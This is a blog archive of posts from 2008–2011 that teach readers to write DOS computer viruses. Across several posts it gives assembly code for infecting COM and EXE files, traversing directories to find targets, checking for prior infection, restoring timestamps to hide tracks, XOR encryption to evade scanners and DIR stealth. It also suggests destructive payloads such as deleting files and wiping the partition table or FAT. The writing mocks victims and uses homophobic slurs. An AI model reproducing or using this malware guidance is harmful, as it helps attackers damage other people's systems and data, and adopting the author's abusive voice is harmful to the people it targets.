Computer Virus Making | Make A Virus!

Directory Stealth

noreply@blogger.com (DauskupanG) — Sat, 11 Jun 2011 15:41:00 +0000

Stealth Viruses are the Viruses that I must admit Anti-Viral Queers don't tend to like at all. Emagine if we added a Polymorphic feature into the Stealth Virus? But, if you want to Continue Writing Viruses you have to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners and CRC & Checksum Checkers. In order to stop many viruses, But it will NEVER stop the `Stealth' Virus that is SMART of those AV features!

People think that there is ALOT of more INFECTED PCs since the virus threat, started in 1986-7. Even though in the beginning only 10 or so viruses were known, they Infected more systems, Compared to the viruses today, where we have about 1300 and growing. But the truth is LESS PCs are getting infect now, as people are now Virus Aware. With all the utilities out, any joker can stop and clean a virus in seconds. Come on, how many people MEMORIZED COMMAND.COM size? Out of my head its 47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem.

A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth feature. That will NOT show you the INCREASE of file size, when the virus infects it. I have played with a few routines as such. I have tried reducing the File size in the FAT area, which results in the famous CHKDSK error reports of Loss Sectors, or Cross Links... And fixing them with CHKDSK will result in damaging the file for good.

What can we do? How about reducing the File size Right AFTER its read by DOS or any Utilities and right BEFORE its display on the screen! Yeah that's an Idea, Here's how to go about it...

   %Theory%
~~~~~~~~
First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h function 11h & 12h is called! If you don't know how to Hook Interrupts Read Functions of INT Article in this Site.

That's all that is needed in your Int21_Handler. Ofcourse if you are infecting file that are being Execute you add it ABOVE! Anyhow lets Explain the "DIR_STEALTH"

%Algorithms%
~~~~~~~~~~~~

CONDITION: After calling Function 11h/12h (Int 21h) it will search with the contents in the FCB. (*.*) which the DS:DX registers point to the FCB. If successful it will DUPLICATE the specified of the FCB in the current DTA (Disk Transfer Area) And basically we will EDIT the info in the DTA!

NOTE: Just because we are using the DTA doesn't mean this will work for function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to search, that is a different procedure, though somewhat the same as this one. See Method #2 (COMING SOON), for that.

   Step 1. We call the Int 21h so we may have the results to play with
                BEFORE DOS displays them on screen.
   Step 2. Get the Current PSP, As the FCB is located inside the PSP
                in COM files its CS:0000 - CS:00FF. But in EXEs it can be any-
                where, Int21h/AH=51 (Undocemented) will do this for us.
   Step 3. Unmask the seconds (see if its infected) Quit if NOT
   Step 4. Get the current DTA
   Step 5. Test if it is Either an Extended FCB or Normal! If Extended
               Simple add 7h to the Address. (As Extended only have 7 bytes
               extra in the begining)
   Step 6. Minus File size from the DTA! & Restore Time Back

Here it is... Method #1

Also before we start fiddling around we must know if we are working with and EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended has three fields appended to the normal one... (Above)

The END!!!!! Hehe.....

EXE Infections: Part 2

noreply@blogger.com (DauskupanG) — Thu, 09 Jun 2011 14:59:00 +0000

The first part consisted on how to Infect the EXE file, from a resident virus. However, that is only HALF the code and understanding needed for EXE infectors. The part to follow, is on how to give control back to the original EXE file. This is one part of EXE infectors, that mostly EVERY ONE tend to forget to point out. Big tickle, you know how to infect the EXE, but can you make the original EXE run after its infection? Do you know how to restore the registers we took from the EXE header? Anyhow lets get going...

If the Infected EXE file is now executed, the first Line of Code it will encounter will be the first byte of our Virus. Since CS:IP have been changed in the header (Part I) to point to our Virus. The first thing we will need to do, is set up a Variable offset, (As I call it). Basically
when TASM compiles our virus, all variables and other data locations are given a FIX address. Though in the case of the Virus this is NOT GOOD as viruses, tend to append themselves, and therefore variables are never in the same location...

Fig. 1

When TASM Compiles the above Code it turns it into Fig 2. (Below)

(Virus Just Compiled)

Fig 2

(Virus Infect To a File)

Fig 3

Later when the Virus infects a File, it will represent Fig 3. Now, when the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP so when it has to RETurn, all it has to do is POP back the CS:IP to know exactly where it left off! So we can take advantage of the command, by POPing back ourselves, thus this will give us the NEXT byte from the CALL command. which as you see, in the examples is our POP BP statement.

However when the Virus is Freshly Compiled, all Registers values are GOOD, so that is why we must make BP=0 the first time, as the variables were set according to the sources, so no adjustment needed, though when we infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)

Boy, That was the HARDEST part of that, Now if you found that simple pat yourself on the back, as that is the only `BIG' Conflict people tend to disregard or forget. So any time while you are NOT resident but infected on the file, and you are running code from the infected file just use the
that BP Variable Pointer, for any data being loaded... Now lets put the routine together, along with the routine to EXECUTE the original EXE file

* After the Virus Has moved a copy of itself in memory, Control must be given back to the Original EXE file we just infected... This is the routine to do it..

Simple? Try it yourself. :D

Free Disassembler For You!!

noreply@blogger.com (DauskupanG) — Wed, 15 Jul 2009 15:30:00 +0000

As for the last post, I've already giving you the free assembler for your "project", and now I'll give you free disassembler for you to have an "experiment", note that I said EXPERIMENT(LOL), on assembly language or disassemble a complete project.

DOWNLOAD

Turbo Assembler Free Download For You!

noreply@blogger.com (DauskupanG) — Sun, 12 Jul 2009 05:17:00 +0000

For so long I always give you tips and tutorial for creating a virus but I never give you a tools to create them. I think now is the time to give you my fellow readers a freebies.

Download free Turbo Assembler here. Thank you for being with me. :D

Download

EXE Infections: Part 1 "Infection Process" Cont'

noreply@blogger.com (DauskupanG) — Wed, 08 Jul 2009 12:40:00 +0000

First thing to do is read the EXE header for the file to be infected! That can be resolved by...
Next, after reading the first 28 bytes, you will need to set your file pointers to the end of the file.

After bringing your virus to the end, you may start the infection process
;Remember BX = File Handle DX:AX Pointer Location (EOF)

The following finds new CS:IP and SS:SP registers. It will create a new segment, and CS:IP will point to the beginning of the Virus. If you have other code, and the virus beginning is further down the First byte, just add the number of Bytes to AX.
Now we are Ready to write the virus to the EXE File! (Yeah!)

This code works 100% as is! (Resident Virus) For Non-Residents add a location pointer! Besides, Why the Hell are you write a non-Ressy Virus? You Gay? LOL!!~

Stay RESIDENT in my site OKAY!!!~

EXE Infections: Part 1 "Infection Process"

noreply@blogger.com (DauskupanG) — Tue, 07 Jul 2009 16:15:00 +0000

Image via Wikipedia

We must admit there are HUGE amount of Lame Viruses out there. Ever wonder why so many people talk about the AIDS virus? Its a fucken over writing virus. Its HUGE in size and its written in PASCAL. Please! Have a little more respect for the virus world. What happened to that old Bulgarian Spirit? That too has died. Bulgaria isn't writing as many top viruses as it used to! Or are we in for a surprise? (USSR Kicks!)

Well to help people in advancing their Virus programming ability I will try to explain that basics in Infecting an EXE file. There are several ways to infect an EXE file. And I have tried several types. The best one I have programmed is the one you'll see. In Basic, it will infect EXEs by starting a new segment, only for the virus. This will infect EXEs over the size of 64k, and it is a lot less complicated..

Before we can begin we must know a few things, about EXEs. Let's say a .COM file has been loaded to segment address 1234:0000. When the COM file runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other end EXE files, are basicaly several COMs in one. Where EXE files can set up DATA struct in one segment, CODE in another, and STACK in another. EXEs can have an unlimited amount of Segments, its limitation is Memory Availablity. And the EXE file keeps track of these Segments, with an EXE header, telling DOS what segments start where, How big the file is, the amount of memory needed to run. the EXE header is the first few bytesof the EXE file.

Though if you use DEBUG to load an EXE file you will not run into the EXE header, as DEBUG uses the EXE header to load its CS:IP registers with, the SS:SP and so on. Though you can view the EXE header with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EXE' Just rename an EXE, the extension can be anything you wish, however don't go and rename it to COM or BIN, these are reserved Extensions, and debug treats them differently, Example if you rename it to COM debug will load the IP regester as 0100h. The EXE header is Usually 28 bytes, though it is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using it? Just a poping ideas out in the open. Anyhow this is how the EXE header consists, of..

START OFFSETS DISCRIPTIONS

(hex) (dec)

00 | 00 | Always 4D 5A. Marks this file as an .EXE file

*02 | 02 | Remainder after dividing load module's size by 512

*04 | 04 | Size of file in 512 byte pages

06 | 06 | Number of relocation table entries

@08 | 08 | Size of header in paragraphs (16 bytes)

0A | 10 | Minumum number of paragraphs required after loaded program

0C | 12 | Maximum number of paragraphs required after loaded program

*0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs

*10 | 16 | SP regester loaded with this word

12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)

*14 | 20 | IP register loaded with this word

*16 | 22 | (CS) Offset of Code Segment in load module in paragraphs

18 | 24 | Offset of first relocation item.

1A | 26 | Overlay number. If no overlays used, this is 0

* = Will be Edited by our Virus

@ = Needed to help our reconstruction of the EXE header

Cover your tracks

noreply@blogger.com (DauskupanG) — Thu, 02 Jul 2009 05:32:00 +0000

This step, though simple to do, is too easily neglected. It is extremely important, as a wary user will be alerted to the presence of a virus by any unnecessary updates to a file. In its simplest form, it involves the restoration of file attributes, time and date. This is done with the following:

mov ax, 5701h ; Set file time/date

mov dx, word ptr [bp+f_date] ; DX = date

mov cx, word ptr [bp+f_time] ; CX = time

int 21h

mov ah, 3eh ; Handle close file

int 21h

mov ax, 4301h ; Set attributes

lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA

xor ch, ch

mov cl, byte ptr [bp+f_attrib] ; Attribute in CX

int 21h

Remember also to restore the directory back to the original one if it changed during the run of the virus.

Infect The File

noreply@blogger.com (DauskupanG) — Mon, 29 Jun 2009 16:59:00 +0000

Owhh Mighty GOD!!

For how long did'nt I update this POST!!? LOL!!!

I'll continue for the part of infecting the file with the virus...

For the virus, this is the "guts" of the virus, the heart of the replicator. Once you
have located a potential file, you must save the attributes, time, date,
and size for later use. The following is a breakdown of the DTA:

Offset Size What it is
0h 21 BYTES Reserved, varies as per DOS version
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension

As you can see, the DTA holds all the vital information about the file that
you need. The following code fragment is a sample of how to save the info:

lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
; Variables needed
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?

You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to allow infection of system, hidden, and
read only files. Only primitive (or minimal) virii cannot handle such
files.

lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call

Once the attributes have been annihilated, you may open the file with
callous impunity. Use a handle open in read/write mode.

lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
mov ax, 3d02h ; Open read/write mode
int 21h ; duh.
xchg ax, bx ; Handle is more useful in
; BX

Now we come to the part you've all been waiting for: the infection routine.
I am pleased to present code which will handle the infection of COM files.
Yawn, you say, I can already do that with the information presented in the
previous installment. Ah, but there is more, much more. A sample EXE
infector shall also be presented shortly.

The theory behind COM file infection was covered in the last installment,
so I shall not delve into the details again. Here is a sample infector:

; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h

mov ax, 4200h ; Move file pointer to
xor cx, cx ; the beginning of the
xor dx, dx ; file
int 21h

mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Encode JMP instruction to replace beginning of the file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Write the JMP instruction to the beginning of the file
mov ah, 40h ; Write CX bytes to
mov cx, 3 ; handle in BX from
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h

mov ax, 4202h ; Move file pointer to
xor cx, cx ; end of file
xor dx, dx
int 21h

mov ah, 40h ; Write CX bytes
mov cx, endofvirus - startofpart2 ; Effective size of virus
lea dx, [bp+startofpart2] ; Begin write at start
int 21h

; Variables
buffer1 db 3 dup (?) ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?) ; Temp buffer

After some examination, this code will prove to be easy to understand. It
starts by reading the first three bytes into a buffer. Note that you could
have done this in an earlier step, such as when you are checking for a
previous infection. If you have already done this, you obviously don't
need to do it again. This buffer must be stored in the virus so it can be
restored later when the code is executed.

EXE infections are also simple, although a bit harder to understand.
First, the thoery. Here is the format of the EXE header:

Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus

To understand this, you must first realise that EXE files are structured
into segments. These segments may begin and end anywhere. All you have to
do to infect an EXE file is tack on your code to the end. It will then be
in its own segment. Now all you have to do is make the virus code execute
before the program code. Unlike COM infections, no program code is
overwritten, although the header is modified. Note the virus can still
have the V1/V2 structure, but only V2 needs to be concatenated to the end
of the infected EXE file.

Offset 4 (File Pages) holds the size of the file divided by 512, rounded
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
paragraph displacement (relative to the end of the header) of the initial
stack segment and Offset 10h holds the displacement (relative to the start
of the stack segment) of the initial stack pointer. Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset 14h holds the displacement entry point relative to the start of
the entry segment. Offset 14h and 16h are the key to adding the startup
code (the virus) to the file.

Before you infect the file, you should save the CS:IP and SS:SP found in
the EXE header, as you need to restore them upon execution. Note that
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
what I'm talking about, don't worry; it's only for very picky people. You
should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some
offsets! To find the new CS:IP and SS:SP, use the following code. It
assumes the file size is loaded in DX:AX.

mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx

This code is rather inefficient. It would probably be easier to divide by
16 first and then perform a straight subtraction from AX, but this happens
to be the code I chose. Such is life. However, this code does have some
advantages over the more efficient one. With this, you are certain that
the IP (in DX) will be under 15. This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.

Now AX*16+DX points to the end of code. If the virus begins immediately
after the end of the code, AX and DX can be used as the initial CS and IP,
respectively. However, if the virus has some junk (code or data) before
the entry point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).

mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module

The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.

mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

All that is left to fiddle in the header is the file size. Restore the
original file size from wherever you saved it to DX:AX. To calculate
DX:AX/512 and DX:AX MOD 512, use the following code:

mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax

mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.

All that is left is writing back the EXE header and concatenating the virus
to the end of the file. You want code? You get code.

mov ah, 3fh ; BX holds handle
mov cx, 18h ; Don't need entire header
lea dx, [bp+ExeHead]
int 21h

call infectexe

mov ax, 4200h ; Rewind to beginning of
xor cx, cx ; file
xor dx, dx
int 21h

mov ah, 40h ; Write header back
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h

mov ax, 4202h ; Go to end of file
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h ; Note: Only need to write
mov cx, part2size ; part 2 of the virus
lea dx, [bp+offset part2start] ; (Parts of virus
int 21h ; defined in first
; installment of
; the guide)

Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program. The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.

Checking and Criteria of Infection

noreply@blogger.com (DauskupanG) — Thu, 18 Sep 2008 09:03:00 +0000

Sorry for not updating here lately but now I will continue what I promised for.

Your virus should be judicious in its infection. For example, you might not want to infect COMMAND.COM, since some programs (i.e. the puny FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to infect the first valid file in the directory. Ambulance Car is an example of such a virus. Regardless, if there is some infection criteria, you should check for it now. Here's example code checking if the last two letters are 'ND', a simple check for COMMAND.COM:

cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
jz fail_check

Every virus has certain characteristics with which you can identify whether
a file is infected already. For example, a certain piece of code may
always occur in a predictable place. Or perhaps the JMP instruction is
always coded in the same manner. Regardless, you should make sure your
virus has a marker so that multiple infections of the same file do not
occur. Here's an example of one such check (for a COM file infector):

mov ah,3Fh ; Read first three
mov cx, 3 ; bytes of the file
lea dx, [bp+offset buffer] ; to the buffer
int 21h

mov ax, 4202h ; SEEK from EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Returns filesize
int 21h ; in DX:AX

sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it

bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another

In this example, BX is assumed to hold a file handle to the program to be
checked for infection and virus_size equals the size of the virus. Buffer
is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location
(located in the word beginning at buffer+1) to the filesize If the JMP
points to virus_size bytes before the EOF, then the file is already
infected with this virus. Another method would be to search at a certain
location in the file for a marker byte or word. For example:

mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h

cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker
infect_it:

Here you should create your own malicious code to infect the checked file. Stay tune here cause I'll post some example of code to infect a file in the next post.

FIND A FILE TO INFECT

noreply@blogger.com (DauskupanG) — Fri, 04 Apr 2008 10:13:00 +0000

Ok now I will continue my last post on the replicator part.

Before you can infect a file, you have to find it first! This can be a bottleneck in the performance of the virus, so it should be done as efficiently as possible. For runtime virii, there are a few possibilities. You could infect files in only the current directory, or you could write a directory traversal function to infect files in ALL directories (only a few files per run, of course), or you could infect files in only a few select directories. Why would you choose to only infect files in the current directory? It would appear to limit the efficacy of the infections.
However, this is done in some virii either to speed up the virus or to shorten the code size.

Here is a directory traversal function. It uses recursion, so it is rather slow, but it does the job. This was excerpted with some modifications from The Funky Bob Ross Virus [Beta].

traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA

call infect_directory ; Go to search & destroy routines

mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!

mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed

mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory
; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp

; Variables
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

The code is self-explanatory. Make sure you have a function called infect_directory which scans the directory for possible files to infect and makes sure it doesn't infect already-infected files. This function, in turn, calls infect_file which infects the file.

Note, as I said before, this is slow. A quicker method, albeit not as global, is the "dot dot" method. Hellraiser showed me this neat little trick. Basically, you keep searching each directory and, if you haven't infected enough, go to the previous directory (dot dot) and try again, and so on. The code is simple.

dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Carry set if in root

; Variables
dotdot db '..',0

Now you must find a file to infect. This is done (in the fragments above) by a function called infect_directory. This function calls FINDFIRST and FINDNEXT a couple of times to find files to infect. You should first set up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that will affect the command-line parameters of the infected program when control is returned to it. This is easily done with the following:

mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h

Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST and FINDNEXT calls:

mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:

Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.

In my next post I will explain about the criteria of the infections.

Installment II: The Replicator

noreply@blogger.com (DauskupanG) — Sun, 30 Mar 2008 07:45:00 +0000

In the last installment of my Virus Writing Guide, I explained the various parts of a virus and went into a brief discussion about each. In this issue, I shall devote all my attention towards the replicator portion of the virus. I promised code and code I shall present.

However, I shall digress for a moment because it has come to my attention that some mutant copies of the first installment were inadvertently released. These copies did not contain a vital section concerning the calculation of offsets.

You never know where your variables and code are going to wind up in memory. If you think a bit, this should be pretty obvious. Since you are attaching the virus to the end of a program, the location in memory is going to be changed, i.e. it will be larger by the size of the infected program. So, to compensate, we must take the change in offset from the original virus, or the delta offset, and add that to all references to variables.

Instructions that use displacement, i.e. relative offsets, need not be changed. These instructions are the JA, JB, JZ class of instructions, JMP SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of, say, JMP FAR PTR.

Suppose in the following examples, si is somehow loaded with the delta offset.

Replace
mov ax, counter
With
mov ax, word ptr [si+offset counter]

Replace
mov dx, offset message
With
lea dx, [si+offset message]

You may be asking, "how the farg am I supposed to find the delta offset!?"
It is simple enough:

call setup
setup:
pop si
sub si, offset setup

An explanation of the above fragment is in order. CALL setup pushes the location of the next instruction, i.e. offset setup, onto the stack. Next, this location is POPed into si. Finally, the ORIGINAL offset of setup (calculated at compile-time) is subtracted from si, giving you the delta offset. In the original virus, the delta offset will be 0, i.e. the new location of setup equals the old location of setup.

It is often preferable to use bp as your delta offset, since si is used in string instructions. Use whichever you like. I'll randomly switch between the two as suits my mood.

Now back to the other stuff...

A biological virus is a parasitic "organism" which uses its host to spread itself. It must keep the host alive to keep itself "alive." Only when it has spread everywhere will the host die a painful, horrible death. The modern electronic virus is no different. It attaches itself to a host system and reproduces until the entire system is fucked. It then proceeds and neatly wrecks the system of the dimwit who caught the virus.

Replication is what distinguishes a virus from a simple trojan. Anybody can write a trojan, but a virus is much more elegant. It acts almost invisibly, and catches the victim off-guard when it finally surfaces. The first question is, of course, how does a virus spread? Both COM and EXE infections (along with sample infection routines) shall be presented.

There are two major approaches to virii: runtime and TSR. Runtime virii infect, yup, you guessed it, when the infected program is run, while TSR virii go resident when the infected programs are run and hook the interrupts and infect when a file is run, open, closed, and/or upon termination (i.e. INT 20h, INT 21h/41h). There are advantages and disadvantages to each. Runtime virii are harder to detect as they don't show up on memory maps, but, on the other hand, the delay while it searches for and infects a file may give it away. TSR virii, if not properly done, can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in general, smaller since they don't need a function to search for files to infect. They are also faster than runtime virii, also because they don't have to search for files to infect. I shall cover runtime virii here, and TSR virii in a later installment.

Here is a summary of the infection procedure:
1) Find a file to infect.
2) Check if it meets the infection criteria.
3) See if it is already infected and if so, go back to 1.
4) Otherwise, infect the file.
5) Cover your tracks.

I shall go through each of these steps and present sample code for each. Note that although a complete virus can be built from the information below, you cannot merely rip the code out and stick it together, as the fragments are from various different virii that I have written. You must be somewhat familiar with assembly. I present code fragments; it is up to you to either use them as examples or modify them for your own virii.

Freebies " Ebook Secret of Ebay Marketing"

noreply@blogger.com (DauskupanG) — Thu, 27 Mar 2008 14:22:00 +0000

You can download this ebook for your reference on how to boost your money using ebay. More important, I will give it to you for FREE!!!

Click HERE

Concealer and the BOMB!

noreply@blogger.com (DauskupanG) — Wed, 26 Mar 2008 21:48:00 +0000

This is the part which conceals the program from notice by the everyday user and virus scanner. The simplest form of concealment is the encryptor. The code for a simple XOR encryption system follows:

encrypt_val db ?

decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret

Note the encryption and decryption procedures are the same. This is due to the weird nature of XOR. You can CALL these procedures from anywhere in the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning of V2 to unencrypt the file so your program can run. When infecting a file, first change the encrypt_val, then CALL encrypt, then write V2 to the end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE AREA TO BE ENCRYPTED!!!

This is how V2 would look with the concealer:

V2_Start:

Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Alternatively, you could move parts of the unencrypted stuff between Part_To_Encrypt_End and V2_End.

The value of encryption is readily apparent. Encryption makes it harder for virus scanners to locate your virus. It also hides some text strings located in your program. It is the easiest and shortest way to hide your
virus.

Encryption is only one form of concealment. At least one other virus hooks into the DOS interrupts and alters the output of DIR so the file sizes appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain parts of memory allow it to survive warm reboots. There are many stealth techniques, limited only by the virus writer's imagination.

So now all the boring stuff is over. The nastiness is contained here. The bomb part of the virus does all the deletion/slowdown/etc which make virii so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has infected 100 files. When these conditions are met, then your virus does the good stuff. Some suggestions of possible bombs:

1) System slowdown - easily handled by trapping an interrupt and causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard drive - This is very nasty, as most dimwits cannot fix this.

This is, of course, the fun part of writing a virus, so be original!

The Replicator

noreply@blogger.com (DauskupanG) — Mon, 24 Mar 2008 06:24:00 +0000

The job of the replicator is to spread the virus throughout the system of the clod who has caught the virus. How does it do this without destroying the file it infects? The easiest type of replicator infects COM files. It first saves the first few bytes of the infected file. It then copies a small portion of its code to the beginning of the file, and the rest to the end.

In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1 and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be the same as the size of V1, but the size of P2 doesn't necessarily have to be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's assume it copies the code to the end of the file. The file now looks like:

Then, the virus copies the first part of itself to the beginning of the file.

Finally, the virus copies the second part of itself to the end of the file. The final, infected file looks like this:

The question is: What the fuck do V1 and V2 do? V1 transfers control of the program to V2. The code to do this is simple.

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh is a far pointer (Segment:Offset) pointing to the first instruction of V2. Note that the value of Duh must be changed to reflect the length of the file that is infected. For example, if the original size of the program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length of V1, the original size of the infected file, and 256 (to account for the PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal (155 hex).

An alternate, albeit more difficult to understand, method follows:

DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement

This inserts the jump offset directly into the code following the jump instruction. You could also replace the second line with

DW V2_Start - $

which accomplishes the same task.

V2 contains the rest of the code, i.e. the stuff that does everything else. The last part of V2 copies P1 over V1 (in memory, not on disk) and then transfers control to the beginning of the file (in memory). The original program will then run happily as if nothing happened. The code to do this is also very simple.

MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]

MOV DI, 0100h
JMP DI

This code assumes that P1 is located just before V2, as in:

P1_Stored_Here:
.
.
.
V2_Start:

It also assumes ES equals CS. If these assumptions are false, change the code accordingly. Here is an example:

PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
